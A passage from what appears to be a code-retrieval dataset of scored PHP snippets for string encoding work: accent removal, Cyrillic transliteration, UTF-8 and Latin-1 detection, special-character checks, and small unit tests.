'/[\\x{00D9}\\x{00DA}\\x{00DB}\\x{00DC}\\x{0168}\\x{016A}\\x{016C}\\x{016E}\\x{0170}\\x{0172}\\x{0423}]/u',\n /* V */\n '/[\\x{0412}]/u',\n /* W */\n '/[\\x{0174}]/u',\n /* Y */\n '/[\\x{0176}\\x{042B}]/u',\n /* Z */\n '/[\\x{0179}\\x{017B}\\x{017D}\\x{0417}]/u',\n /* AE */\n '/[\\x{00C6}]/u',\n /* CH */\n '/[\\x{0427}]/u',\n /* KH */\n '/[\\x{0425}]/u',\n /* OE */\n '/[\\x{0152}]/u',\n /* SH */\n '/[\\x{0428}]/u',\n /* SHH*/\n '/[\\x{0429}]/u',\n /* YA */\n '/[\\x{042F}]/u',\n /* YE */\n '/[\\x{0404}]/u',\n /* YI */\n '/[\\x{0407}]/u',\n /* YO */\n '/[\\x{0401}]/u',\n /* YU */\n '/[\\x{042E}]/u',\n /* ZH */\n '/[\\x{0416}]/u');\n\n // ö to oe\n // å to aa\n // ä to ae\n\n $replacements = array(\n 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 'ss', 't', 'u', 'v', 'w', 'y', 'z', 'ae', 'ch', 'kh', 'oe', 'sh', 'shh', 'ya', 'ye', 'yi', 'yo', 'yu', 'zh',\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'W', 'Y', 'Z', 'AE', 'CH', 'KH', 'OE', 'SH', 'SHH', 'YA', 'YE', 'YI', 'YO', 'YU', 'ZH'\n );\n\n return preg_replace($patterns, $replacements, $str);\n }", "title": "" }, { "docid": "65023583efa92c82439ace46d9b74b15", "score": "0.59741074", "text": "function detect($s)\r\n{\r\n if (preg_match('#[\\x80-\\x{1FF}\\x{2000}-\\x{3FFF}]#u', $s))\r\n return 'UTF-8';\r\n\r\n if (preg_match('#[\\x7F-\\x9F\\xBC]#', $s))\r\n return 'WINDOWS-1250';\r\n\r\n return 'ISO-8859-2';\r\n}", "title": "" }, { "docid": "6cf0d81886ebb5a0354a2b14d84a11d7", "score": "0.5923691", "text": "function string_is_ascii($str) {\n return (\\preg_match('/(?:[^\\x00-\\x7F])/', $str) !== 1);\n}", "title": "" }, { "docid": "032ba6d67b8ae5095bddc29e7d7a2e8c", "score": "0.5909266", "text": "function SoloTexto($texto)#solo texto de la a a la z\n{\n $texto=utf8_decode($texto);\n #return preg_match('([a-zA-ZüÜáéíóúàèìòùÀÈÌÒÙñÁÉÍÓÚÑ\\s])', $texto);\n if(!preg_match('/[$=&\\'\\*\\d]/', $texto)){\n return true;}\n else{return false;}\n \n \n \n}", "title": "" }, { "docid": "7d7753cf4782f415963875b66ba78f48", "score": "0.5898351", "text": "function is_utf8($string)\r\n{\r\n // From http://w3.org/International/questions/qa-forms-utf-8.html\r\n return preg_match('%^(?:\r\n [\\x09\\x0A\\x0D\\x20-\\x7E] # ASCII\r\n | [\\xC2-\\xDF][\\x80-\\xBF] # non-overlong 2-byte\r\n | \\xE0[\\xA0-\\xBF][\\x80-\\xBF] # excluding overlongs\r\n | [\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2} # straight 3-byte\r\n | \\xED[\\x80-\\x9F][\\x80-\\xBF] # excluding surrogates\r\n | \\xF0[\\x90-\\xBF][\\x80-\\xBF]{2} # planes 1-3\r\n | [\\xF1-\\xF3][\\x80-\\xBF]{3} # planes 4-15\r\n | \\xF4[\\x80-\\x8F][\\x80-\\xBF]{2} # plane 16\r\n )*$%xs', $string);\r\n}", "title": "" }, { "docid": "11d792f1a5d0a3f307929be3e2311f6b", "score": "0.58939195", "text": "function dol_string_is_good_iso($s)\n{\n\t$len=dol_strlen($s);\n\t$ok=1;\n\tfor($scursor=0;$scursor<$len;$scursor++)\n\t{\n\t\t$ordchar=ord($s{$scursor});\n\t\t//print $scursor.'-'.$ordchar.'<br>';\n\t\tif ($ordchar < 32 && $ordchar != 13 && $ordchar != 10) { $ok=0; break; }\n\t\tif ($ordchar > 126 && $ordchar < 160) { $ok=0; break; }\n\t}\n\treturn $ok;\n}", "title": "" }, { "docid": "64784261f36d6771fc912e36f89b595e", "score": "0.58798563", "text": "function is_utf8($string) {\r\n\r\n\t// From http://w3.org/International/questions/qa-forms-utf-8.html\r\n\treturn preg_match('%^(?:\r\n [\\x09\\x0A\\x0D\\x20-\\x7E] # ASCII\r\n | [\\xC2-\\xDF][\\x80-\\xBF] # non-overlong 2-byte\r\n | \\xE0[\\xA0-\\xBF][\\x80-\\xBF] # excluding overlongs\r\n | [\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2} # straight 3-byte\r\n | \\xED[\\x80-\\x9F][\\x80-\\xBF] # excluding surrogates\r\n | \\xF0[\\x90-\\xBF][\\x80-\\xBF]{2} # planes 1-3\r\n | [\\xF1-\\xF3][\\x80-\\xBF]{3} # planes 4-15\r\n | \\xF4[\\x80-\\x8F][\\x80-\\xBF]{2} # plane 16\r\n )*$%xs', $string);\r\n\r\n}", "title": "" }, { "docid": "0272b0764baf223c49a781416f483d9f", "score": "0.586742", "text": "public function testFriendlyTitleWithAccentedCharactersAndReplaceString()\n {\n $this->specify(\n \"friendlyTitle with accented characters and replace string returns incorrect text\",\n function () {\n Tag::resetInput();\n $options = \"Perché l'erba è verde?\";\n $expected = 'perche-l-erba-e-verde';\n $actual = Tag::friendlyTitle($options, \"-\", true, \"'\");\n\n expect($actual)->equals($expected);\n }\n );\n }", "title": "" }, { "docid": "fabb02871f2ecc782bcdd25550b03341", "score": "0.5856752", "text": "function detectLatin1($string) {\n return (preg_match(\"/^[\\\\x00-\\\\xFF]*$/u\", $string) === 1);\n}", "title": "" }, { "docid": "c356b719c46fd58ffb2f2db94eeedf0b", "score": "0.5821269", "text": "function validateNames($oldString){\n\t// Check if string uses allowed characters\n\t\t// We allow all language letters and accents.\n\t\t// Also space, and the symbols ', . and -\n\t\t// TO-DO: Change if we need other symbols\n\tif (preg_match(\"/^[\\p{L}\\p{M} '-]*$/u\", $oldString)) {\n\t\treturn TRUE;\n\t} else {\n\t\treturn FALSE;\n\t}\t\t\n}", "title": "" }, { "docid": "1c5c2aab95d2eef4615311107d715e6b", "score": "0.5805568", "text": "function validateString($oldString){\n\t// Check if string uses allowed characters\n\t\t// \" -~\" matches all printable ASCII characters (A-Z, a-z, 0-9, etc.)\n\t\t// For unicode we add /u and p{L} for all language letters and p{M} for all accents\n\t\t// There are still characters that are not allowed, like currency symbols\n\t\t// and symbols like ´ (when not used as an accent)\n\t\t// For currency symbols add \\p{Sc}\n\t\t// For math symbols add \\p{Sm}\n\t\t\n\tif (preg_match('/^[ -~\\p{L}\\p{M}\\r\\n]*$/u', $oldString)) {\n\t\treturn TRUE;\n\t} else {\n\t\treturn FALSE;\n\t}\n}", "title": "" }, { "docid": "a3a7f667faada991212d81ccadd902cc", "score": "0.57543707", "text": "function test_icu_transliterate() {\n $input_ru = \"\\xd1\\x84\\xd0\\xb5\\xd0\\xb9\\xd1\".\n \"\\x81\\xd0\\xb1\\xd1\\x83\\xc5\\x93\\xd0\\xba\";\n $output_ru = icu_transliterate($input_ru, false);\n // Note: different than php test ('y' -> 'j')\n VERIFY($output_ru == \"fejsbu\\xc5\\x93k\");\n\n // Verify that removing accents works.\n $input_de = \"Ich m\\xc3\\xb6\".\n \"chte \\xc3\\xbc\".\n \"berzeugend \".\n \"oder \\xc3\\xa4hnliche sein\";\n $output_de = icu_transliterate($input_de, true);\n VERIFY($output_de == \"Ich mochte uberzeugend oder ahnliche sein\");\n\n // Verify that keeping accents works.\n VERIFY(icu_transliterate($input_de, false) == $input_de);\n\n // Check a non-Latin language.\n $input_zh = \"\\xe5\\x9b\\x9b\".\n \"\\xe5\\x8d\\x81\\xe5\\x9b\\x9b\\xe7\".\n \"\\x9f\\xb3\\xe7\\x8d\\x85\\xe5\\xad\\x90\";\n $output_zh = icu_transliterate($input_zh, true);\n VERIFY($output_zh == \"si shi si shi shi zi\");\n}", "title": "" }, { "docid": "24a949961700aba1287676d731874989", "score": "0.5754138", "text": "function clean_mb_string($string) {\n\t\t$replacements = array(\n\t\t\t'–' => '-',\n\t\t\t'•' => '-',\n\t\t\t'’' => \"'\"\n\t\t);\n\t\tforeach ($replacements as $find => $replace) {\n\t\t\t$string = str_replace($find, $replace, $string);\n\t\t}\n\n\t\treturn $string;\n\t}", "title": "" }, { "docid": "45b35d949c8243c8ba5d1049718be525", "score": "0.57325983", "text": "function ch_uml($del_uml) {\n$del_uml = preg_replace(\"=&auml;=\", \"ä\", $del_uml); // Umlaute und ß\n$del_uml = preg_replace(\"=&ouml;=\", \"ö\", $del_uml);\n$del_uml = preg_replace(\"=&uuml;=\", \"ü\", $del_uml);\n$del_uml = preg_replace(\"=&Auml;=\", \"Ä\", $del_uml);\n$del_uml = preg_replace(\"=&Ouml;=\", \"Ö\", $del_uml);\n$del_uml = preg_replace(\"=&Uuml;=\", \"Ü\", $del_uml);\n$del_uml = preg_replace(\"=&szlig;=\", \"ß\", $del_uml);\nreturn ($del_uml);\n}", "title": "" }, { "docid": "ee23693d0b62e92300f46e09462bb9e9", "score": "0.5712857", "text": "function test_lowercase_capital_letter_at_start_multibyte () {\n\t\t$this->assertTrue(mb_substr(to_camelcase('Äfoo'), 0, 1) === 'ä');\n\t}", "title": "" }, { "docid": "45ca9928d539e9b5987a223cdf0ce223", "score": "0.5700954", "text": "function trata_texto($string){\n return trim(strtr($string, \"áàãâéêíóôõúüçÁÀÃÂÉÊÍÓÔÕÚÜÇ\", \"aaaaeeiooouucAAAAEEIOOOUUC\"));\n}", "title": "" }, { "docid": "f9f9371f071e6a4ce8239e3a8761bc60", "score": "0.5688239", "text": "function test_lowercase_capital_letter_at_start_after_trimming_multibyte () {\n\t\t$this->assertTrue(mb_substr(to_camelcase(' -_ Ääää'), 0, 1) === 'ä');\n\t}", "title": "" }, { "docid": "422402f7125b3cb20448fdb7ac0cfdda", "score": "0.5679195", "text": "public static function isUnicode($value)\n\t{\n\t\treturn is_string($value) && preg_match('##u', $value);\n\t}", "title": "" }, { "docid": "6a80b5c5ef3216b128e07fc02c22e0c0", "score": "0.5666989", "text": "function remove_accents( $string )\n{\n if ( ! preg_match( '/[\\x80-\\xff]/', $string ) ) {\n return $string;\n }\n\n if ( self::seems_utf8( $string ) ) {\n $chars = array(\n\n // Decompositions for Latin-1 Supplement\n chr(194).chr(170) => 'a', chr(194).chr(186) => 'o',\n chr(195).chr(128) => 'A', chr(195).chr(129) => 'A',\n chr(195).chr(130) => 'A', chr(195).chr(131) => 'A',\n chr(195).chr(132) => 'A', chr(195).chr(133) => 'A',\n chr(195).chr(134) => 'AE',chr(195).chr(135) => 'C',\n chr(195).chr(136) => 'E', chr(195).chr(137) => 'E',\n chr(195).chr(138) => 'E', chr(195).chr(139) => 'E',\n chr(195).chr(140) => 'I', chr(195).chr(141) => 'I',\n chr(195).chr(142) => 'I', chr(195).chr(143) => 'I',\n chr(195).chr(144) => 'D', chr(195).chr(145) => 'N',\n chr(195).chr(146) => 'O', chr(195).chr(147) => 'O',\n chr(195).chr(148) => 'O', chr(195).chr(149) => 'O',\n chr(195).chr(150) => 'O', chr(195).chr(153) => 'U',\n chr(195).chr(154) => 'U', chr(195).chr(155) => 'U',\n chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y',\n chr(195).chr(158) => 'TH',chr(195).chr(159) => 's',\n chr(195).chr(160) => 'a', chr(195).chr(161) => 'a',\n chr(195).chr(162) => 'a', chr(195).chr(163) => 'a',\n chr(195).chr(164) => 'a', chr(195).chr(165) => 'a',\n chr(195).chr(166) => 'ae',chr(195).chr(167) => 'c',\n chr(195).chr(168) => 'e', chr(195).chr(169) => 'e',\n chr(195).chr(170) => 'e', chr(195).chr(171) => 'e',\n chr(195).chr(172) => 'i', chr(195).chr(173) => 'i',\n chr(195).chr(174) => 'i', chr(195).chr(175) => 'i',\n chr(195).chr(176) => 'd', chr(195).chr(177) => 'n',\n chr(195).chr(178) => 'o', chr(195).chr(179) => 'o',\n chr(195).chr(180) => 'o', chr(195).chr(181) => 'o',\n chr(195).chr(182) => 'o', chr(195).chr(184) => 'o',\n chr(195).chr(185) => 'u', chr(195).chr(186) => 'u',\n chr(195).chr(187) => 'u', chr(195).chr(188) => 'u',\n chr(195).chr(189) => 'y', chr(195).chr(190) => 'th',\n chr(195).chr(191) => 'y', chr(195).chr(152) => 'O',\n\n // Decompositions for Latin Extended-A\n chr(196).chr(128) => 'A', chr(196).chr(129) => 'a',\n chr(196).chr(130) => 'A', chr(196).chr(131) => 'a',\n chr(196).chr(132) => 'A', chr(196).chr(133) => 'a',\n chr(196).chr(134) => 'C', chr(196).chr(135) => 'c',\n chr(196).chr(136) => 'C', chr(196).chr(137) => 'c',\n chr(196).chr(138) => 'C', chr(196).chr(139) => 'c',\n chr(196).chr(140) => 'C', chr(196).chr(141) => 'c',\n chr(196).chr(142) => 'D', chr(196).chr(143) => 'd',\n chr(196).chr(144) => 'D', chr(196).chr(145) => 'd',\n chr(196).chr(146) => 'E', chr(196).chr(147) => 'e',\n chr(196).chr(148) => 'E', chr(196).chr(149) => 'e',\n chr(196).chr(150) => 'E', chr(196).chr(151) => 'e',\n chr(196).chr(152) => 'E', chr(196).chr(153) => 'e',\n chr(196).chr(154) => 'E', chr(196).chr(155) => 'e',\n chr(196).chr(156) => 'G', chr(196).chr(157) => 'g',\n chr(196).chr(158) => 'G', chr(196).chr(159) => 'g',\n chr(196).chr(160) => 'G', chr(196).chr(161) => 'g',\n chr(196).chr(162) => 'G', chr(196).chr(163) => 'g',\n chr(196).chr(164) => 'H', chr(196).chr(165) => 'h',\n chr(196).chr(166) => 'H', chr(196).chr(167) => 'h',\n chr(196).chr(168) => 'I', chr(196).chr(169) => 'i',\n chr(196).chr(170) => 'I', chr(196).chr(171) => 'i',\n chr(196).chr(172) => 'I', chr(196).chr(173) => 'i',\n chr(196).chr(174) => 'I', chr(196).chr(175) => 'i',\n chr(196).chr(176) => 'I', chr(196).chr(177) => 'i',\n chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij',\n chr(196).chr(180) => 'J', chr(196).chr(181) => 'j',\n chr(196).chr(182) => 'K', chr(196).chr(183) => 'k',\n chr(196).chr(184) => 'k', chr(196).chr(185) => 'L',\n chr(196).chr(186) => 'l', chr(196).chr(187) => 'L',\n chr(196).chr(188) => 'l', chr(196).chr(189) => 'L',\n chr(196).chr(190) => 'l', chr(196).chr(191) => 'L',\n chr(197).chr(128) => 'l', chr(197).chr(129) => 'L',\n chr(197).chr(130) => 'l', chr(197).chr(131) => 'N',\n chr(197).chr(132) => 'n', chr(197).chr(133) => 'N',\n chr(197).chr(134) => 'n', chr(197).chr(135) => 'N',\n chr(197).chr(136) => 'n', chr(197).chr(137) => 'N',\n chr(197).chr(138) => 'n', chr(197).chr(139) => 'N',\n chr(197).chr(140) => 'O', chr(197).chr(141) => 'o',\n chr(197).chr(142) => 'O', chr(197).chr(143) => 'o',\n chr(197).chr(144) => 'O', chr(197).chr(145) => 'o',\n chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe',\n chr(197).chr(148) => 'R',chr(197).chr(149) => 'r',\n chr(197).chr(150) => 'R',chr(197).chr(151) => 'r',\n chr(197).chr(152) => 'R',chr(197).chr(153) => 'r',\n chr(197).chr(154) => 'S',chr(197).chr(155) => 's',\n chr(197).chr(156) => 'S',chr(197).chr(157) => 's',\n chr(197).chr(158) => 'S',chr(197).chr(159) => 's',\n chr(197).chr(160) => 'S', chr(197).chr(161) => 's',\n chr(197).chr(162) => 'T', chr(197).chr(163) => 't',\n chr(197).chr(164) => 'T', chr(197).chr(165) => 't',\n chr(197).chr(166) => 'T', chr(197).chr(167) => 't',\n chr(197).chr(168) => 'U', chr(197).chr(169) => 'u',\n chr(197).chr(170) => 'U', chr(197).chr(171) => 'u',\n chr(197).chr(172) => 'U', chr(197).chr(173) => 'u',\n chr(197).chr(174) => 'U', chr(197).chr(175) => 'u',\n chr(197).chr(176) => 'U', chr(197).chr(177) => 'u',\n chr(197).chr(178) => 'U', chr(197).chr(179) => 'u',\n chr(197).chr(180) => 'W', chr(197).chr(181) => 'w',\n chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y',\n chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z',\n chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z',\n chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z',\n chr(197).chr(190) => 'z', chr(197).chr(191) => 's',\n\n // Decompositions for Latin Extended-B\n chr(200).chr(152) => 'S', chr(200).chr(153) => 's',\n chr(200).chr(154) => 'T', chr(200).chr(155) => 't',\n\n // Euro Sign\n chr(226).chr(130).chr(172) => 'E',\n // GBP (Pound) Sign\n chr(194).chr(163) => ''\n );\n\n $string = strtr( $string, $chars );\n } else {\n\n // Assume ISO-8859-1 if not UTF-8\n $chars['in'] = chr(128).chr(131).chr(138).chr(142).chr(154).chr(158)\n .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194)\n .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)\n .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)\n .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218)\n .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)\n .chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235)\n .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)\n .chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251)\n .chr(252).chr(253).chr(255);\n\n $chars['out'] = 'EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy';\n\n $string = strtr( $string, $chars['in'], $chars['out'] );\n $double_chars['in'] = array( chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254) );\n $double_chars['out'] = array( 'OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th' );\n $string = str_replace( $double_chars['in'], $double_chars['out'], $string );\n }\n\n return $string;\n}", "title": "" }, { "docid": "4f05605d37003fb88cb00f1b342a00b7", "score": "0.56531847", "text": "function remove_accents($string) {\n if (!preg_match('/[\\x80-\\xff]/', $string))\n return $string;\n\n if (seems_utf8($string)) {\n $chars = array(\n // Decompositions for Latin-1 Supplement\n chr(195) . chr(128) => 'A', chr(195) . chr(129) => 'A',\n chr(195) . chr(130) => 'A', chr(195) . chr(131) => 'A',\n chr(195) . chr(132) => 'A', chr(195) . chr(133) => 'A',\n chr(195) . chr(135) => 'C', chr(195) . chr(136) => 'E',\n chr(195) . chr(137) => 'E', chr(195) . chr(138) => 'E',\n chr(195) . chr(139) => 'E', chr(195) . chr(140) => 'I',\n chr(195) . chr(141) => 'I', chr(195) . chr(142) => 'I',\n chr(195) . chr(143) => 'I', chr(195) . chr(145) => 'N',\n chr(195) . chr(146) => 'O', chr(195) . chr(147) => 'O',\n chr(195) . chr(148) => 'O', chr(195) . chr(149) => 'O',\n chr(195) . chr(150) => 'O', chr(195) . chr(153) => 'U',\n chr(195) . chr(154) => 'U', chr(195) . chr(155) => 'U',\n chr(195) . chr(156) => 'U', chr(195) . chr(157) => 'Y',\n chr(195) . chr(159) => 's', chr(195) . chr(160) => 'a',\n chr(195) . chr(161) => 'a', chr(195) . chr(162) => 'a',\n chr(195) . chr(163) => 'a', chr(195) . chr(164) => 'a',\n chr(195) . chr(165) => 'a', chr(195) . chr(167) => 'c',\n chr(195) . chr(168) => 'e', chr(195) . chr(169) => 'e',\n chr(195) . chr(170) => 'e', chr(195) . chr(171) => 'e',\n chr(195) . chr(172) => 'i', chr(195) . chr(173) => 'i',\n chr(195) . chr(174) => 'i', chr(195) . chr(175) => 'i',\n chr(195) . chr(177) => 'n', chr(195) . chr(178) => 'o',\n chr(195) . chr(179) => 'o', chr(195) . chr(180) => 'o',\n chr(195) . chr(181) => 'o', chr(195) . chr(182) => 'o',\n chr(195) . chr(182) => 'o', chr(195) . chr(185) => 'u',\n chr(195) . chr(186) => 'u', chr(195) . chr(187) => 'u',\n chr(195) . chr(188) => 'u', chr(195) . chr(189) => 'y',\n chr(195) . chr(191) => 'y',\n // Decompositions for Latin Extended-A\n chr(196) . chr(128) => 'A', chr(196) . chr(129) => 'a',\n chr(196) . chr(130) => 'A', chr(196) . chr(131) => 'a',\n chr(196) . chr(132) => 'A', chr(196) . chr(133) => 'a',\n chr(196) . chr(134) => 'C', chr(196) . chr(135) => 'c',\n chr(196) . chr(136) => 'C', chr(196) . chr(137) => 'c',\n chr(196) . chr(138) => 'C', chr(196) . chr(139) => 'c',\n chr(196) . chr(140) => 'C', chr(196) . chr(141) => 'c',\n chr(196) . chr(142) => 'D', chr(196) . chr(143) => 'd',\n chr(196) . chr(144) => 'D', chr(196) . chr(145) => 'd',\n chr(196) . chr(146) => 'E', chr(196) . chr(147) => 'e',\n chr(196) . chr(148) => 'E', chr(196) . chr(149) => 'e',\n chr(196) . chr(150) => 'E', chr(196) . chr(151) => 'e',\n chr(196) . chr(152) => 'E', chr(196) . chr(153) => 'e',\n chr(196) . chr(154) => 'E', chr(196) . chr(155) => 'e',\n chr(196) . chr(156) => 'G', chr(196) . chr(157) => 'g',\n chr(196) . chr(158) => 'G', chr(196) . chr(159) => 'g',\n chr(196) . chr(160) => 'G', chr(196) . chr(161) => 'g',\n chr(196) . chr(162) => 'G', chr(196) . chr(163) => 'g',\n chr(196) . chr(164) => 'H', chr(196) . chr(165) => 'h',\n chr(196) . chr(166) => 'H', chr(196) . chr(167) => 'h',\n chr(196) . chr(168) => 'I', chr(196) . chr(169) => 'i',\n chr(196) . chr(170) => 'I', chr(196) . chr(171) => 'i',\n chr(196) . chr(172) => 'I', chr(196) . chr(173) => 'i',\n chr(196) . chr(174) => 'I', chr(196) . chr(175) => 'i',\n chr(196) . chr(176) => 'I', chr(196) . chr(177) => 'i',\n chr(196) . chr(178) => 'IJ', chr(196) . chr(179) => 'ij',\n chr(196) . chr(180) => 'J', chr(196) . chr(181) => 'j',\n chr(196) . chr(182) => 'K', chr(196) . chr(183) => 'k',\n chr(196) . chr(184) => 'k', chr(196) . chr(185) => 'L',\n chr(196) . chr(186) => 'l', chr(196) . chr(187) => 'L',\n chr(196) . chr(188) => 'l', chr(196) . chr(189) => 'L',\n chr(196) . chr(190) => 'l', chr(196) . chr(191) => 'L',\n chr(197) . chr(128) => 'l', chr(197) . chr(129) => 'L',\n chr(197) . chr(130) => 'l', chr(197) . chr(131) => 'N',\n chr(197) . chr(132) => 'n', chr(197) . chr(133) => 'N',\n chr(197) . chr(134) => 'n', chr(197) . chr(135) => 'N',\n chr(197) . chr(136) => 'n', chr(197) . chr(137) => 'N',\n chr(197) . chr(138) => 'n', chr(197) . chr(139) => 'N',\n chr(197) . chr(140) => 'O', chr(197) . chr(141) => 'o',\n chr(197) . chr(142) => 'O', chr(197) . chr(143) => 'o',\n chr(197) . chr(144) => 'O', chr(197) . chr(145) => 'o',\n chr(197) . chr(146) => 'OE', chr(197) . chr(147) => 'oe',\n chr(197) . chr(148) => 'R', chr(197) . chr(149) => 'r',\n chr(197) . chr(150) => 'R', chr(197) . chr(151) => 'r',\n chr(197) . chr(152) => 'R', chr(197) . chr(153) => 'r',\n chr(197) . chr(154) => 'S', chr(197) . chr(155) => 's',\n chr(197) . chr(156) => 'S', chr(197) . chr(157) => 's',\n chr(197) . chr(158) => 'S', chr(197) . chr(159) => 's',\n chr(197) . chr(160) => 'S', chr(197) . chr(161) => 's',\n chr(197) . chr(162) => 'T', chr(197) . chr(163) => 't',\n chr(197) . chr(164) => 'T', chr(197) . chr(165) => 't',\n chr(197) . chr(166) => 'T', chr(197) . chr(167) => 't',\n chr(197) . chr(168) => 'U', chr(197) . chr(169) => 'u',\n chr(197) . chr(170) => 'U', chr(197) . chr(171) => 'u',\n chr(197) . chr(172) => 'U', chr(197) . chr(173) => 'u',\n chr(197) . chr(174) => 'U', chr(197) . chr(175) => 'u',\n chr(197) . chr(176) => 'U', chr(197) . chr(177) => 'u',\n chr(197) . chr(178) => 'U', chr(197) . chr(179) => 'u',\n chr(197) . chr(180) => 'W', chr(197) . chr(181) => 'w',\n chr(197) . chr(182) => 'Y', chr(197) . chr(183) => 'y',\n chr(197) . chr(184) => 'Y', chr(197) . chr(185) => 'Z',\n chr(197) . chr(186) => 'z', chr(197) . chr(187) => 'Z',\n chr(197) . chr(188) => 'z', chr(197) . chr(189) => 'Z',\n chr(197) . chr(190) => 'z', chr(197) . chr(191) => 's',\n // Euro Sign\n chr(226) . chr(130) . chr(172) => 'E',\n // GBP (Pound) Sign\n chr(194) . chr(163) => '');\n\n $string = strtr($string, $chars);\n } else {\n // Assume ISO-8859-1 if not UTF-8\n $chars['in'] = chr(128) . chr(131) . chr(138) . chr(142) . chr(154) . chr(158)\n . chr(159) . chr(162) . chr(165) . chr(181) . chr(192) . chr(193) . chr(194)\n . chr(195) . chr(196) . chr(197) . chr(199) . chr(200) . chr(201) . chr(202)\n . chr(203) . chr(204) . chr(205) . chr(206) . chr(207) . chr(209) . chr(210)\n . chr(211) . chr(212) . chr(213) . chr(214) . chr(216) . chr(217) . chr(218)\n . chr(219) . chr(220) . chr(221) . chr(224) . chr(225) . chr(226) . chr(227)\n . chr(228) . chr(229) . chr(231) . chr(232) . chr(233) . chr(234) . chr(235)\n . chr(236) . chr(237) . chr(238) . chr(239) . chr(241) . chr(242) . chr(243)\n . chr(244) . chr(245) . chr(246) . chr(248) . chr(249) . chr(250) . chr(251)\n . chr(252) . chr(253) . chr(255);\n\n $chars['out'] = \"EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy\";\n\n $string = strtr($string, $chars['in'], $chars['out']);\n $double_chars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254));\n $double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th');\n $string = str_replace($double_chars['in'], $double_chars['out'], $string);\n }\n $string = str_replace(\"’\", \"'\", $string);\n return $string;\n}", "title": "" }, { "docid": "9e56a269ce15a5b39170c7f60e91835f", "score": "0.5647902", "text": "public static function isUnicode($value) : bool\n {\n return \\is_string($value) && \\preg_match('##u', $value);\n }", "title": "" }, { "docid": "f4eb92bc087c8a49a9b14760fdd9dcca", "score": "0.5639853", "text": "function test_special_char($word){\n return (preg_match('/[\\'^£$%&*()}{#~?><>,|=+¬]/',$word)); \n }", "title": "" }, { "docid": "f56bb50c4e7896cd92ac9d2a53bc9fc4", "score": "0.5634147", "text": "function wp_check_invalid_utf8($string, $strip = false)\n\t{\n\t $string = (string) $string;\n\t if (0 === strlen($string)) {\n\t return '';\n\t }\n\t // Store the site charset as a static to avoid multiple calls to get_option()\n\t static $is_utf8;\n\t /*if (!isset($is_utf8)) {\n\t $is_utf8 = in_array(get_option('blog_charset'), array(\n\t 'utf8',\n\t 'utf-8',\n\t 'UTF8',\n\t 'UTF-8'\n\t ));\n\t }*/\n\t if (!$is_utf8) {\n\t return $string;\n\t }\n\t // Check for support for utf8 in the installed PCRE library once and store the result in a static\n\t static $utf8_pcre;\n\t if (!isset($utf8_pcre)) {\n\t $utf8_pcre = @preg_match('/^./u', 'a');\n\t }\n\t // We can't demand utf8 in the PCRE installation, so just return the string in those cases\n\t if (!$utf8_pcre) {\n\t return $string;\n\t }\n\t // preg_match fails when it encounters invalid UTF8 in $string\n\t if (1 === @preg_match('/^./us', $string)) {\n\t return $string;\n\t }\n\t // Attempt to strip the bad chars if requested (not recommended)\n\t if ($strip && function_exists('iconv')) {\n\t return iconv('utf-8', 'utf-8', $string);\n\t }\n\t return '';\n\t}", "title": "" }, { "docid": "64e3e27c7e8b721acc94fb5a11387ba5", "score": "0.5629136", "text": "function have_special_char($str) {\r\n\t\tif (preg_match(SPECIAL_CHARACTER, $str)) {\r\n\t\t\t $this->set_message('have_special_char', '{field} cannot use any special characters ('.SPECIAL_CHARACTER_INFO.').');\r\n\t\t return false;\r\n\t\t} else {\r\n\t\t return true;\r\n\t\t}\r\n }", "title": "" }, { "docid": "b64a97a3e8d8bedc279546d7f2cddaa6", "score": "0.56169134", "text": "function wp_check_invalid_utf8( $string, $strip = false ) {\n\t$string = (string) $string;\n\n\tif ( 0 === strlen( $string ) ) {\n\t\treturn '';\n\t}\n\n\t// Store the site charset as a static to avoid multiple calls to get_option()\n\tstatic $is_utf8 = null;\n\tif ( ! isset( $is_utf8 ) ) {\n\t\t$is_utf8 = in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) );\n\t}\n\tif ( ! $is_utf8 ) {\n\t\treturn $string;\n\t}\n\n\t// Check for support for utf8 in the installed PCRE library once and store the result in a static\n\tstatic $utf8_pcre = null;\n\tif ( ! isset( $utf8_pcre ) ) {\n\t\t$utf8_pcre = @preg_match( '/^./u', 'a' );\n\t}\n\t// We can't demand utf8 in the PCRE installation, so just return the string in those cases\n\tif ( !$utf8_pcre ) {\n\t\treturn $string;\n\t}\n\n\t// preg_match fails when it encounters invalid UTF8 in $string\n\tif ( 1 === @preg_match( '/^./us', $string ) ) {\n\t\treturn $string;\n\t}\n\n\t// Attempt to strip the bad chars if requested (not recommended)\n\tif ( $strip && function_exists( 'iconv' ) ) {\n\t\treturn iconv( 'utf-8', 'utf-8', $string );\n\t}\n\n\treturn '';\n}", "title": "" }, { "docid": 